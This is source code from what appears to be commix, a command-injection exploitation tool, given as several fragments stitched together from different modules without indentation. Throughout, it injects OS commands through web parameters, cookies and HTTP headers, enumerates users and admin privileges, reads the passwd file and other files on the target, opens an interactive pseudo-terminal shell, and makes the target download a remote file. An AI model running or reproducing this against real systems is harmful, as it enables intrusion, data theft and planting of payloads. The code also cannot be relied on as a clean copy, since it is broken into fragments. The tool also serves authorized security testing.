settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
# else:
# settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = cb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Windows users enumeration.
if settings.TARGET_OS == "win":
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write(settings.SUCCESS_STATUS)
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
info_msg += " via 'net users' command.\n"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'", "\\'")
cmd = "cmd /c " + cmd
response = cb_injector.injection(
separator, TAG, cmd, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
check_privs = cb_injector.injection_results(
response, TAG, cmd)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
print(" (" + str(count) + ") '" + Style.BRIGHT +
sys_users_list[user] + Style.RESET_ALL + "'" +
Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print("\n" + settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies',
'y')[len(sys_users_list) == 1]
info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write(
"\n" + settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
).sub("", settings.INFO_BOLD_SIGN) +
info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
print(" (" + str(count) + ") '" +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + "'" + Style.BRIGHT +
is_privileged + Style.RESET_ALL +
"(uid=" + fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) +
") '" + fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def fb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results. "
print(settings.print_info_msg(info_msg))
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(
url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(
url, timesec, filename, tmp_path,
http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(
separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = fb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
# Evaluate test results.
output = _urllib.request.urlopen(
request, timeout=settings.TIMEOUT)
html_data = output.read()
shell = re.findall(r"" + TAG + "",
str(html_data))
if len(shell) != 0 and shell[
0] == TAG and not settings.VERBOSITY_LEVEL != 0:
percent = settings.info_msg
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0:
raise _urllib.error.HTTPError(
url, 404, 'Error', {}, None)
except _urllib.error.HTTPError as e:
if str(e.getcode()
) == settings.NOT_FOUND_ERROR:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries
) and no_result == True:
tmp_path = check_tmp_path(
url, timesec, filename,
http_request_method,
url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
tmp_upload = _input(
settings.
print_question_msg(
question_msg))
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "Y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(
no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print("")
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print(
settings.print_error_msg(
err_msg))
pass
continue
else:
if exit_loops == False:
if settings.VERBOSITY_LEVEL == 0:
if str(float_percent
) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(
float_percent
) + "%)"
else:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()
) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
elif str(e.getcode()
) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except _urllib.error.URLError as e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": ", " (") + ")."
if menu.options.verbose > 1:
print("")
print(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
custom_web_root(url, timesec, filename,
http_request_method,
url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL != 0 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL != 0 and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
fb_file_access.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
fb_enumeration.single_os_cmd_exec(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL != 0:
# print("")
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if settings.VERBOSITY_LEVEL != 0:
print("")
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(
question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" +
Style.RESET_ALL +
"' for available options)")
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = _input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL != 0:
# print("")
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again, payload,
OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(
separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(
url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print("\n" + Fore.GREEN +
Style.BRIGHT +
shell +
Style.RESET_ALL +
"\n")
if not shell or shell == "":
if settings.VERBOSITY_LEVEL != 0:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(
settings.
print_critical_msg(
err_msg) + "\n")
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL != 0:
print("")
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def file_access(url, cve, check_header, filename):
#-------------------------------------
# Write to a file on the target host.
#-------------------------------------
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------
# Check the file-destination
#-------------------------------
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
# Check if file exists!
cmd = "ls " + dest_to_write + ""
# Check if defined cookie injection.
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
info_msg = "The " + shell + Style.RESET_ALL
info_msg += Style.BRIGHT + " file was created successfully!"
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '"
warn_msg += dest_to_write + "' file." + "\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------------
# Upload a file on the target host.
#-------------------------------------
if menu.options.file_upload:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as warn_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, "
warn_msg += "does not exist. (" + str(warn_msg) + ")\n"
sys.stdout.write(settings.print_critical_msg(warn_msg))
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "ls " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
if shell:
info_msg = "The " + shell
info_msg += Style.RESET_ALL + Style.BRIGHT
info_msg += " file was uploaded successfully!\n"
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to write the '" + dest_to_upload + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------------
# Read a file from the target host.
#-------------------------------------
if menu.options.file_read:
file_to_read = menu.options.file_read
# Execute command
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
info_msg = "The contents of file '"
info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
info_msg = "The contents of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
if settings.FILE_ACCESS_DONE == True:
print("")
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
